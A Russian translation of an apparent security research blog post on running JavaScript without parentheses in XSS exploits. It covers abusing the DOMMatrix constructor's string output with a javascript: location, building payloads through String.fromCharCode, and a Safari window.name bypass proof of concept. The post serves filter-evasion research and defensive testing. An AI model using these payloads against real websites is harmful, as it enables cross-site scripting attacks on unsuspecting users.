JavaScript без круглых скобок с использованием DOMMatrix

JavaScript без круглых скобок с использованием DOMMatrix

Moody

Должно быть, многие, кто сталкивался с XSS уязвимостями, ударялись головой о проблему с ограниченной кодировкой, которая предотвращает эксплуатацию. Наиболее распостраненным ограничением, с которым сталкиваются хакеры, является запрет на использование круглых скобок. Для решения такого рода задачи, существуют два классических метода (оба со своими недостатками):

location=name - опирается на внешний веб-сайт и не работает в Safari, так как очищает window.name при навигации по x-origin.

onerror=alert;throw 1 - часто не работает из - за WAF, которые блокируют ключевое слово "throw".

Существует ли еще один, лишенный этих недостатков, способ? Terjanq опубликовали на sla.ckers интересное испытание с ограниченным набором символов, и я, взяв перерыв в своем исследовательском эпосе, решил попытаться найти ответ на этот вопрос.

В качестве оружия, исследователям предлагалась кодировка символов: a-z A-Z';+.:=. При помощи них можно вызывать различные функции с использованием toString/valueOf, но передать в них аргументы не получится, что делает их использование ограниченным - таким образом задача усложняется. Помимо этого, кажется невозможным и извлечение части какой - либо строки; вы можете получить лишь первый символ значения объекта toString. К примеру, объект new RegExp возвращает значение /(?:)/, и чтобы получить первый символ, можно использовать valueOf в купе с String.prototype.charAt. Это работает, потому что charAt вызывается без каких-либо аргументов и возвращает первый символ:

x = new RegExp;

x.valueOf=String.prototype.charAt;

x+''//returns a single /

К сожалению, использование valueOf со строковыми литералами невозможно, поэтому мы не сможем извлечь первый символ, игнорируя символы между литералами. Мне нужно было найти инструмент, который позволял бы мне создавать символы, к которым у меня не было доступа. Я использовал Hackability Inspector для перебора объекта window в связке с исполняемым JavaScript для каждого метода функции, но он не возвращал никаких полезных символов. Поизучав немного JavaScript, я понял, что следующий найденный мною оператор позволяет мне генерировать кучу новых символов - используя инспектор снова, я придумал скрипт, который использовал оператор new для всех перечисляемых объектов в окне, и, посмотрев в консоль, обнаружил один конструктор, который генерировал круглые скобки: конструктор DOMMatrix! Этот конструктор будет генерировать объект со значением toString, которое выглядит как вызов функции с круглыми скобками. Так, вызов конструктора DOMMatrix сгенерирует следующее:

console.log(new DOMMatrix+'')

> matrix(1, 0, 0, 1, 0, 0)

Вы уже поняли, что таким образом, мы можем сгенерировать строку, содержащую скобки и вызывающую функцию с именем matrix, с аргументами 1,0,0,1,0,0; однако, тут есть две проблемы: 1) мне нужно было контролировать вызываемую функцию и 2) мне нужно контролировать аргументы, отправленные в эту функцию. Первую проблему можно обойти, просто назначив функцию переменной матрицы:

x=new DOMMatrix;

matrix=alert;

Для решения второй проблемы я проверил матричный объект, возвращаемый конструктором DOMMatrix, и заметил, что у него есть свойство с именем «a», которое позволяет мне контролировать первый аргумент, отправляемый функции:

x.a=1337;

Собирая все вместе, вот как можно злоупотреблять DOMMatrix для вызова алерта с текстом "1337":

x=new DOMMatrix;

matrix=alert;

x.a=1337;

location='javascript'+':'+x

Должно быть, вы будете удивлены тем, как можно выполнить произвольный код. Аргумент, отправляемый в матричную функцию, должен быть числовым - мы будем использовать String.fromCharCode, чтобы передавать числовое представление символов в обмен на сами символы. При этом, для конкатенации и получения осмысленной нагрузки, мы будем перезаписывать стандартные значения матрицы. Первые 6 значений, по умолчанию равны 0 или 1 - если их не перезаписать - это приведет к синтаксическим ошибкам.

x=new DOMMatrix;

matrix=String.fromCharCode;

i=new DOMMatrix;

i.a=106;//j

i.b=97;//a

i.c=118;//v

i.d=97;//a

i.e=115;//s

i.f=99;//c

j=new DOMMatrix;

j.a=114;//r

j.b=105;//i

j.c=112;//p

j.d=116;//t

j.e=58;//:

j.f=32;//space

x.a=97;//a

x.b=108;//l

x.c=101;//e

x.d=114;//r

x.e=116;//t

x.f=40;//(

y=new DOMMatrix;

y.a=49;//1

y.b=51;//3

y.c=51;//3

y.d=55;//7

y.e=41;//)

y.f=59;//;

location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1'

В приведенном выше коде, мы используем location дважды - один раз для генерации полезной нагрузки и второй раз для её выполнения. void 1 в конце возвращает неопределенное значение и не позволяет браузеру записать второе назначение местоположения в формате HTML

Помимо этого, есть еще один конструктор, который можно использовать подобным образом, однако, мы сильно подозреваем, что информация из нашего блога копируется и вставляются в черные списки WAF, поэтому придержим их при себе.

Если вам понравился этот пост, у нас есть несколько похожих постов на эту тему, а также лаборатория в академии, вдохновленная обсуждением sla.ckers и этим постом, поэтому, если вы хотите поэкспериментировать, посетите её!

Наконец, я не смог устоять перед взломом защиты Safari для window.name. Вот POC, который использует window.name в перекрестной навигации для хранения полезной нагрузки XSS. Он работает с использованием атрибута target для установки имени окна, а не JavaScript:

<a href="http://subdomain1.portswigger-labs.net/safari_window_name_bypass/read.html" target="alert(1337)">PoC</a>
Наслаждайтесь и оставайтесь в безопасности!


Статья доступна в оригинале на английском языке - читать.

Cybred - канал об информационной безопасности и конкурентной разведке, вдохновленный идеями олдскульных андеграундных интернет-сообществ о свободе распространения информации в сети и всеобщей взаимопомощи.

Report Page